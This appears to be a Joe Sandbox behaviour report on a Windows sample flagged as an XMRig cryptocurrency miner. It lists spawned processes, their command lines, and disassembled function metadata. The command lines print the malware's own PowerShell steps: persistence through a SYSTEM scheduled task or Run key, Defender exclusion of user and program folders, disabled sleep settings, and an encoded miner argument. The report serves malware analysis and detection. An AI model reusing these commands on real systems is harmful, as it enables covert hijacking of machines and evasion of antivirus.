Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:39:20
Start date:	04/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GQFENPEL' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GQFENPEL" /t REG_SZ /f /d 'C:\Program Files\xjfgcnhmcvxy.exe' }
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:39:20
Start date:	04/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:39:20
Start date:	04/11/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff769b00000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:39:20
Start date:	04/11/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff769b00000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:39:20
Start date:	04/11/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
Imagebase:	0x7ff769b00000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:39:20
Start date:	04/11/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff769b00000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:39:26
Start date:	04/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ydxtfs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GQFENPEL" } Else { "C:\Program Files\xjfgcnhmcvxy.exe" }
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:39:26
Start date:	04/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:39:27
Start date:	04/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /run /tn GQFENPEL
Imagebase:	0x7ff6352a0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:39:27
Start date:	04/11/2024
Path:	C:\Program Files\xjfgcnhmcvxy.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\xjfgcnhmcvxy.exe"
Imagebase:	0x7ff723470000
File size:	2'137'088 bytes
MD5 hash:	934E9A3E294FA41C527FBD6DC867DDEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:39:27
Start date:	04/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 972, Parent PID: 7112

General

Target ID:	18
Start time:	13:39:27
Start date:	04/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:39:29
Start date:	04/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff79b6a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:39:29
Start date:	04/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:39:29
Start date:	04/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GQFENPEL' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GQFENPEL" /t REG_SZ /f /d 'C:\Program Files\xjfgcnhmcvxy.exe' }
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powercfg.exePID: 7796, Parent PID: 1408

General

Target ID:	22
Start time:	13:39:29
Start date:	04/11/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff769b00000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:39:29
Start date:	04/11/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff769b00000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:39:30
Start date:	04/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:39:30
Start date:	04/11/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
Imagebase:	0x7ff769b00000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:39:30
Start date:	04/11/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff769b00000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	13:39:51
Start date:	04/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\conhost.exe xcgkmjxjdowq
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	13:39:51
Start date:	04/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
Imagebase:	0x7ff79b6a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	13:39:51
Start date:	04/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
Imagebase:	0x7ff79b6a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8132, Parent PID: 1888

General

Target ID:	31
Start time:	13:39:51
Start date:	04/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	13:39:51
Start date:	04/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	13:39:51
Start date:	04/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic PATH Win32_VideoController GET Name, VideoProcessor
Imagebase:	0x7ff63b620000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	13:39:51
Start date:	04/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\conhost.exe gzssianthtxzdggz 6E3sjfZq2rJQaxvLPmXgsBL6xjjYguHWtOpZ+stIdvug8Rp3hiani4Twfqfj5pfOQ4C5/lIR+WrKX/39lFBfrYgVA5xlELaQrgfEYI/1+l+sm6d1wY+jp8lQ+gyInBZtRryf27JkgwVg8+gc8zt/+Qw/FqR21gXGsiWp5M1/PaUO8B8L/yFa9vhQOOMQzU9osOZwr+lVWCnvU0S6ajO3l3PA+IO3tZ+KIHzg9oJDykmRT9FPoLVpg3f2E+S/d4wYAneGaTBaw9u+h7ySSQW4uLa2RdrQlsNvaothGQq4OkU9/7weTT4gwdlFYcJqzkf6CrPgHCU2Z2X/1LqnGA0Z/oGM3RQZ3KFMH6aI6u72Mx/Roo9xz5ogo8pI2aMP1z57eBCyYbXyiGT0rCG540iwNf53KRDw5r+qu9TX7DnABrUnuCbtJtyaOErrfhHdH0mzc3oHhwbzk+xXdFEnj5LezfN80ibSpckaUWKu/Nc8n5n3862TFcZoV3+5pG7wnvACa9eswJk6IY7ANEpRFN9HJzRPurRT3aTK7NgnMwc4gmU=
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000022.00000002.2615840139.000002B9B4441000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000022.00000002.2615840139.000002B9B4427000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000022.00000002.2615840139.000002B9B44C4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000022.00000002.2615840139.000002B9B43E9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.7%
Total number of Nodes:	477
Total number of Limit Nodes:	4

Executed Functions

Function 00007FF624AC2D40 Relevance: 26.6, APIs: 12, Strings: 3, Instructions: 387
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF624AC2E46
wcslen.MSVCRT ref: 00007FF624AC2EBE
memset.MSVCRT ref: 00007FF624AC2EE7
wcscpy.MSVCRT ref: 00007FF624AC2EF2
wcslen.MSVCRT ref: 00007FF624AC2EFA
memset.MSVCRT ref: 00007FF624AC2F36
wcscpy.MSVCRT ref: 00007FF624AC2F41
wcslen.MSVCRT ref: 00007FF624AC2F49
wcslen.MSVCRT ref: 00007FF624AC2F67
wcslen.MSVCRT ref: 00007FF624AC2F7C
wcslen.MSVCRT ref: 00007FF624AC2F89
wcsncmp.MSVCRT ref: 00007FF624AC34B7

Strings

0, xrefs: 00007FF624AC34FE
X, xrefs: 00007FF624AC3171
`, xrefs: 00007FF624AC31B7

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: wcslen$memset$wcscpy$wcsncmp
String ID: 0$X$`
API String ID: 4021896446-2527496196
Opcode ID: 56a0066da786e4fd1d3496444c6abb71906578518ceb0cbf8390e57223bbe39d
Instruction ID: 12c38286cd534ffab04b923a2f24ae0aee77b0d846cb229305efba67bd039898
Opcode Fuzzy Hash: 56a0066da786e4fd1d3496444c6abb71906578518ceb0cbf8390e57223bbe39d
Instruction Fuzzy Hash: DA127222A08BC185E760CF29E8403EAB3A4FB95B94F145325DE98577DAEF7CD184CB41

Function 00007FF624AC11DC Relevance: 3.1, APIs: 2, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04cda4702289d8e6771f7c6f1b5d55155f1df6a08e7de620e071111176c92c61
Instruction ID: 25f09e69d0c449f92bd1dd29c33acfb65fdd1a622e45cc7caa03c3617200c575
Opcode Fuzzy Hash: 04cda4702289d8e6771f7c6f1b5d55155f1df6a08e7de620e071111176c92c61
Instruction Fuzzy Hash: 56315874F0DB0680FF929B59ECD037923A5AF54B85F604036C91DCB3EBEE2DA4008A52

Function 00007FF624AC5BC0 Relevance: 4.5, APIs: 3, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32 ref: 00007FF624AC5BD6
TlsSetValue.KERNEL32 ref: 00007FF624AC5BF6
TlsFree.KERNEL32 ref: 00007FF624AC5C02

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: Value$Free
String ID:
API String ID: 2242701089-0
Opcode ID: 8401260f891ce7ee36d79187eb38dcddfd7f879feec07dce31bbb832c6b4651b
Instruction ID: 42bae41da23860d49154583d3ec334075b3e28d8769c84fb5cf6fab533855835
Opcode Fuzzy Hash: 8401260f891ce7ee36d79187eb38dcddfd7f879feec07dce31bbb832c6b4651b
Instruction Fuzzy Hash: 42F0F235F0AA0382EE10AB5DECD50392771BB94324F945076D80E82AFA9E2CA515CA02

Function 00007FF624AC1291 Relevance: 3.8, APIs: 3, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00007FF624AC1307
malloc.MSVCRT ref: 00007FF624AC1354
memcpy.MSVCRT ref: 00007FF624AC1368

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: malloc$memcpy
String ID:
API String ID: 3800483350-0
Opcode ID: a152af894395d2bb494a594f74d99edcfdeeb986df4bcacabe97efcbe2bee334
Instruction ID: 15dd3416ca6ee402052e312dcdfaa135ec8f8ba426eec8b2c5dead9d7da63f60
Opcode Fuzzy Hash: a152af894395d2bb494a594f74d99edcfdeeb986df4bcacabe97efcbe2bee334
Instruction Fuzzy Hash: A1317E76F0960685EE92DF49FC807B923A4FB04795F544136CA1E877D6EF3CA4848742

Function 00007FF624AC3E80 Relevance: 3.8, APIs: 3, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF624AC3EA1
memset.MSVCRT ref: 00007FF624AC3ED9
wcscpy.MSVCRT ref: 00007FF624AC3EE4

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: memsetwcscpywcslen
String ID:
API String ID: 3616488086-0
Opcode ID: e9cafbc27a721eb04ca846efd46672ba4e3ba8a3ba5c4548f5d8021114cec811
Instruction ID: aeb249a56b64495a1bdf6f7769922129fd48a5ee7e2bbb20affdb4ddc9a924fd
Opcode Fuzzy Hash: e9cafbc27a721eb04ca846efd46672ba4e3ba8a3ba5c4548f5d8021114cec811
Instruction Fuzzy Hash: 6D21FD22A0924591EA609F11FC407AB6664FB84794F500231EF9D46BDADF7DD146C705

Function 00007FF624AC3590 Relevance: 1.3, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF624AC35BE

Part of subcall function 00007FF624AC2D40: memset.MSVCRT ref: 00007FF624AC2E46
Part of subcall function 00007FF624AC2D40: wcslen.MSVCRT ref: 00007FF624AC2EBE
Part of subcall function 00007FF624AC2D40: memset.MSVCRT ref: 00007FF624AC2EE7
Part of subcall function 00007FF624AC2D40: wcscpy.MSVCRT ref: 00007FF624AC2EF2
Part of subcall function 00007FF624AC2D40: wcslen.MSVCRT ref: 00007FF624AC2EFA

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: memset$wcslen$wcscpy
String ID:
API String ID: 3662116142-0
Opcode ID: e61fb398a03bbfa57f4b8b3f1698cb4d99b17f12373dd6c6e7874bf35d2a17d8
Instruction ID: df50c6c445716506b9e66e1b0b9dbcdd7ddd92186bd86fcb8ce04e92ec8c8dff
Opcode Fuzzy Hash: e61fb398a03bbfa57f4b8b3f1698cb4d99b17f12373dd6c6e7874bf35d2a17d8
Instruction Fuzzy Hash: 49010462B0D68140E6A0EA12FC407EA5651AF89BD0F644131FE8D47BCECE3CD1418709

Non-executed Functions

Function 00007FF624AC55C8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

signal.MSVCRT ref: 00007FF624AC562D
